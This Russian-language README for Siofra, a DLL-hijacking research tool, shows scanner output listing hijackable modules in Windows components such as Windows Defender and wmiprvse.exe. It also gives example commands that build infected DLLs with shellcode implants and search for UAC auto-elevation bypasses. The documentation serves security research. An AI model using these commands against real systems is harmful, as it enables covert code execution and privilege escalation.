
Симулирует работу загрузчика Windows PE для выявления уязвимостей DLL-хайждекинга, генерирует вредоносные DLL-библиотеки с шеллкод-пейлоадами и обнаруживает обходы механизма автоматического повышения привилегий UAC.
Siofra — это инструмент, предназначенный для выявления и эксплуатации уязвимостей перехвата DLL в программах Windows. Он позволяет имитировать загрузчик Windows, чтобы получить представление обо всех зависимостях (и соответствующих уязвимостях) PE-файла на диске или, альтернативно, образа в памяти, соответствующего активному процессу. Что более важно, инструмент способен легко генерировать DLL-файлы для эксплуатации подобных уязвимостей посредством PE-инфицирования с динамическим созданием шеллкода. Эти заражённые DLL сохраняют код (DllMain, экспортируемые функции), а также ресурсы DLL, чтобы без проблем сохранить функциональность загружающего их приложения, и в то же время позволяют исследователю указать исполняемую полезную нагрузку, которая будет либо запущена как отдельный процесс, либо загружена в целевой процесс в качестве модуля. Кроме того, инструмент содержит автоматизированные методы объединения критериев автоматического повышения привилегий UAC с вышеупомянутой функциональностью для поиска уязвимостей обхода UAC.
В настоящее время существует очень большое количество уязвимостей, которые раскрывает этот инструмент. При тестировании данного инструмента я столкнулся лишь с несколькими приложениями, не подверженными уязвимостям, из сотен протестированных. Обратите внимание, что эти уязвимости могут быть использованы, несмотря на SafeDllSearchMode. Распространённое заблуждение возникает из-за путаницы между «текущим каталогом» (исправленным с помощью SafeDllSearchMode) и «каталогом приложения» (папкой, содержащей сам .exe). Подавляющее большинство уязвимостей перехвата DLL, присутствующих в настоящее время в программах Windows, связано с каталогом приложения (который идёт первым в порядке поиска Windows). Некоторые яркие примеры перечислены ниже в выводе, который формирует сканер этого инструмента. Последний раз эти уязвимости тестировались в середине июля 2017 года.
Siofra64.exe --mode file-scan -f "c:\Program Files\Internet Explorer\iexplore.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Internet Explorer\iexplore.exe [64-bit PE] ======== iexplore.exe USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-core-privateprofile-l1-1-1.dll [API set] kernel32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] msvcrt.dll [KnownDLL] api-ms-win-downlevel-shell32-l1-1-0.dll [API set] shcore.dll [KnownDLL] RPCRT4.dll [KnownDLL] combase.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] iertutil.dll [!]
[!] Module iertutil.dll vulnerable at c:\Program Files\Internet Explorer\iertutil.dll (real path: C:\WINDOWS\system32\iertutil.dll)
Siofra64.exe --mode file-scan -f "c:\Program Files\Windows Defender\MpCmdRun.exe" --enum-dependency --dll-hijack
======== c:\Program Files\Windows Defender\MpCmdRun.exe [64-bit PE] ======== MpCmdRun.exe msvcrt.dll [KnownDLL] KERNEL32.dll [KnownDLL] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] bcryptPrimitives.dll [Base] ADVAPI32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] OLE32.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] SspiCli.dll [!] mpclient.dll [!] CRYPT32.dll [Base] MSASN1.dll [Base] WINTRUST.dll [Base]
[!] Module SspiCli.dll vulnerable at c:\Program Files\Windows Defender\SspiCli.dll (real path: C:\WINDOWS\system32\SspiCli.dll)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\wbem\wmiprvse.exe" --enum-dependency --dll-hijack
======== c:\WINDOWS\System32\wbem\wmiprvse.exe [64-bit PE] ======== wmiprvse.exe msvcrt.dll [KnownDLL] FastProx.dll [!] wbemcomn.dll [!] bcrypt.dll [!] WS2_32.dll [KnownDLL] api-ms-win-eventing-obsolete-l1-1-0.dll [API set] sechost.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] NCObjAPI.DLL [!]
[!] Module wbemcomn.dll vulnerable at c:\WINDOWS\System32\wbem\wbemcomn.dll (real path: C:\WINDOWS\system32\wbemcomn.dll) [!] Module bcrypt.dll vulnerable at c:\WINDOWS\System32\wbem\bcrypt.dll (real path: C:\WINDOWS\system32\bcrypt.dll) [!] Module NCObjAPI.DLL vulnerable at c:\WINDOWS\System32\wbem\NCObjAPI.DLL (real path: C:\WINDOWS\system32\NCObjAPI.DLL)
Siofra64.exe --mode file-scan -f "c:\WINDOWS\System32\SearchProtocolHost.exe" --enum-dependency --dll-hijack --explicit-loadlibrary
======== c:\WINDOWS\System32\SearchProtocolHost.exe [64-bit PE] ======== SearchProtocolHost.exe msvcrt.dll [KnownDLL] TQUERY.DLL [!] OLEAUT32.dll [KnownDLL] msvcp_win.dll [Base] api-ms-win-crt-string-l1-1-0.dll [API set] ucrtbase.dll [Base] combase.dll [KnownDLL] RPCRT4.dll [KnownDLL] api-ms-win-core-heap-obsolete-l1-1-0.dll [API set] kernel32.dll [KnownDLL] bcryptPrimitives.dll [Base] cryptdll.dll [!] api-ms-win-security-lsalookup-l2-1-1.dll [API set] advapi32.dll [KnownDLL] api-ms-win-eventing-controller-l1-1-0.dll [API set] sechost.dll [KnownDLL] api-ms-win-shell-namespace-l1-1-0.dll [API set] windows.storage.dll [Base] api-ms-win-shlwapi-winrt-storage-l1-1-1.dll [API set] shlwapi.dll [KnownDLL] GDI32.dll [KnownDLL] api-ms-win-gdi-internal-uap-l1-1-0.dll [API set] gdi32full.dll [Base] USER32.dll [KnownDLL] win32u.dll [Base] api-ms-win-appmodel-state-l1-2-0.dll [API set] kernel.appcore.dll [Base] api-ms-win-shcore-path-l1-1-0.dll [API set] shcore.dll [KnownDLL] api-ms-win-power-base-l1-1-0.dll [API set] powrprof.dll [Base] profapi.dll [Base] msfte.dll [Potential explicit Unicode] [!] msTracer.dll [Potential explicit Unicode] [!] Msidle.dll [Potential explicit Unicode] [!] winhttp.dll [Potential explicit Unicode] [!]
[!] Module msfte.dll vulnerable at C:\WINDOWS\system32\msfte.dll (real path: Unknown) [!] Module msTracer.dll vulnerable at C:\WINDOWS\system32\msTracer.dll (real path: Unknown)
Возможности этого инструмента можно разделить на 3 отдельные категории, каждая из которых соответствует одному из режимов работы этого инструмента.
В режиме инфицирования инструмент способен создавать заражённые копии как 32-, так и 64-битных DLL-файлов. Эти заражённые файлы способны перехватывать поток выполнения целевого приложения при их загрузке во время инициализации процесса, вызывая либо загрузку полезной нагрузки DLL, либо запуск исполняемого файла полезной нагрузки до выполнения точки входа целевого приложения.
В режиме сканирования файлов инструменту можно указать либо путь к исполняемому файлу, либо папку (в которой будет выполняться поиск исполняемых файлов, опционально рекурсивно); при этом рекурсивно перечисляются и обрабатываются его PE-импорты, импорты с отложенной загрузкой, API sets, зависимости сборок и явно загруженные библиотеки, чтобы определить путь, по которому каждая из них будет загружена во время инициализации процесса. Имея эту информацию, инструмент способен выявлять модули, уязвимые для перехвата. Во время обработки PE и имитации загрузчика инструмент умеет обрабатывать: 1. Модули, импортируемые с использованием основной секции импортов PE. 2. Модули, импортируемые через отложенную загрузку. 3. Разрешение зависимостей сборок WinSxS (анализируется ресурс манифеста PE, извлекаются идентификаторы зависимостей сборок, а путь к модулю WinSxS определяется с помощью пользовательской реализации). 4. Явно загруженные модули, импортируемые через LoadLibrary во время выполнения. 5. Разрешение API set для всех вышеперечисленных типов импорта. Это достигается с помощью пользовательской реализации парсера для недокументированных структур данных, обнаруженных в ApiSetSchema.dll (обратите внимание, что тестировались только версии 2, 4 и 6). 6. Поиск конкретных импортируемых модулей по имени. 7. Выявление компонентов Windows, которые можно использовать для атак обхода UAC (критерии автоматического повышения привилегий UAC применяются к указанному целевому PE в автоматическом режиме, а затем используются вместе с атакой перехвата, если таковая присутствует). 8. Автоматическое обнаружение и фильтрация зависимостей модулей, которые не являются уязвимыми, на основе: * KnownDLLs * Статус исключённых («Base») DLL. Kernelbase.dll, ntdll.dll и т. д. * Механизм безопасности переопределения манифеста (используется Microsoft в sysprep.exe)
В режиме сканирования памяти инструмент может либо перечислять имена/идентификаторы локальных процессов, либо ему может быть передан идентификатор процесса для сканирования. Вместо анализа файла образа, соответствующего данному PID на диске, инструмент перечисляет модули, загруженные в данный процесс, и определяет, какие из них могут быть уязвимы для перехвата. Это полезно в тех случаях, когда исполняемый файл на диске упакован/обфусцирован и его импорты не могут быть определены путём анализа PE-заголовка.
Чтобы отобразить информацию об использовании инструмента, просто запустите его без параметров (вывод показан ниже). Очень важно использовать соответствующую сборку инструмента (32- или 64-битную) для нужной цели в зависимости от того, является ли целевой файл 32-битным PE или 64-битным PE. Аналогично, 32-битная версия инструмента может перечислять и/или использовать в качестве цели только 32-битные процессы (Wow64 в 64-битной ОС), а 64-битная версия — только 64-битные процессы. Этот принцип применим как к сканированию (Siofra64.exe пропустит 32-битные PE, а Siofra32.exe — 64-битные PE), так и к PE-инфицированию. Siofra32.exe следует использовать для заражения 32-битных DLL, а Siofra64.exe — для заражения 64-битных DLL.
Когда 32-битная версия инструмента запускается на 64-битных системах, перенаправление путей Wow64 явно отключается инструментом. Это означает, что если вы укажете в качестве цели \Windows\System32\notepad.exe, это будет 64-битный PE (и поэтому вместо него следует использовать \Windows\Syswow64\notepad.exe). Аналогично, если вы укажете в качестве цели \Program Files\Common Files\microsoft shared\MSInfo\msinfo32.exe, это будет 64-битный PE, и поэтому следует использовать \Program Files (x86)\Common Files\microsoft shared\MSInfo\msinfo32.exe вместо него.
Siofra version 1.13 usage: Siofra32.exe --mode [Supported modes: "file-scan", "mem-scan" and "infect"] -v [Optional. Output verbosity level] Verbosity levels: 0 - No output 1 - Only critical success/failure status (default) 2 - Additional status details for success/failure status, including discarded PEs 3 - Everything File scan mode: -f [File or directory to scan] -r [Optional. Recursive scan] --signed [Optional. Process only signed binaries] --delayload [Optional. Include delayload imports in dependency list] --explicit-loadlibrary [Optional. Include potentially explicit imports in dependency list (these are *.dll strings which may have been called via LoadLibrary(Ex)A/W] --auto-elevate [Optional. Scan only auto-elevate binaries] Memory scan mode: --pid [Target process ID to scan. When not specified, a list of either 32 or 64-bit process names/PIDs will be enumerated (corresponding to either the 32 or 64-bit version of this tool)] Any scan mode: --enum-dependency [Enumerate dependencies] --show-unmapped-apiset [Optional. Include API sets which failed to map to a module from output (ignored by default)] --dll-hijack [Enumerate DLL hijacking vulns] --find-module [Optional. Scan dependencies for a specific module. Note that this excludes KnownDLLs] Infect mode: -f [DLL file to infect] -o [Output file] --payload-path [Path of DLL to be loaded into infected DLL at runtime, or path of executable to be launched at runtime] --payload-type [The type of payload specified in the parasite payload path. This can be "process" (generally indicating a exe) or "library" (generally indicating a DLL)]
Сканирование всего домашнего диска на предмет 32-битных программ, уязвимых для перехвата DLL, с использованием как стандартных, так и отложенных импортов через их PE-заголовки.
Siofra32.exe --mode file-scan -f "C:/" -r --enum-dependency --dll-hijack --delayload
Сканирование папки приложения Windows Defender в 64-битной версии Windows на предмет уязвимых модулей, загружаемых через стандартную таблицу импортов в их PE-заголовке.
Siofra64.exe --mode file-scan -f "C:\Program Files\Windows Defender" -r --enum-dependency --dll-hijack
Сканирование 32-битной программы Java Update Scheduler в 64-битной версии Windows на предмет уязвимых модулей, загружаемых через любой известный канал (стандартные или отложенные импорты, WinSxS, LoadLibrary).
Siofra32.exe --mode file-scan -f "C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe" --enum-dependency --dll-hijack --delayload --explicit-loadlibrary
Сканирование папки Windows (и всех её подпапок) на предмет уязвимых модулей (импортируемых через стандартную таблицу импортов в PE-заголовке) в 64-битных программах, которые можно использовать для атаки обхода UAC (подписанных Microsoft с манифестом автоматического повышения привилегий).
Siofra64.exe --mode file-scan -f "C:\Windows" -r --enum-dependency --dll-hijack --auto-elevate --signed
Заражение 32-битной копии WININET.dll (скопированной из \Windows\SysWOW64\WININET.dll в .\WININET_original.dll) имплантом, который запустит новый процесс notepad при загрузке во время инициализации процесса уязвимой программой. Важно отметить, что просто загрузка заражённой копии этой DLL (например, через LoadLibrary) не активирует полезную нагрузку. Заражённые DLL предназначены для работы только в контексте уязвимого модуля, загружаемого через стандартную секцию импортов своего хост-процесса.
Siofra32.exe --mode infect -f WININET_original.dll -o WININET.dll --payload-type process --payload-path c:\windows\system32\notepad.exe
Заражение 64-битной копии USERENV.dll (скопированной из \Windows\System32\USERENV.dll в .\USERENV_original.dll) имплантом, который загрузит гипотетическую полезную нагрузку DLL, расположенную по адресу C:\Payload.dll. Важно отметить, что все DLL, загружаемые 64-битным процессом, должны быть 64-битными DLL, а все DLL, загружаемые 32-битным процессом, должны быть 32-битными DLL. Поэтому в данном гипотетическом сценарии Payload.dll должна быть 64-битным PE-файлом, чтобы её можно было успешно загрузить с помощью импланта в USERENV.dll.
Siofra64.exe --mode infect -f USERENV_original.dll -o USERENV.dll --payload-type library --payload-path "C:\Payload.dll"
Я решил сделать часть этого инструмента открытым исходным кодом, чтобы помочь другим исследователям безопасности понять технические детали этого проекта. В частности, я предоставил исходный код на ассемблере для одного из 64-битных шеллкодов импланта (для 64-битного PE DLL-инфицирования при указании типа полезной нагрузки «process»).
Подробности, касающиеся других технических аспектов инструмента и деталей ОС, связанных с загрузчиком Windows/порядком поиска, UAC, WinSxS и т. д., можно найти в PDF-документации этого проекта.
Siofra распространяется под лицензией GPL 3. Подробности см. в LICENSE.MD.
Forrest Williams - [email protected] / [email protected]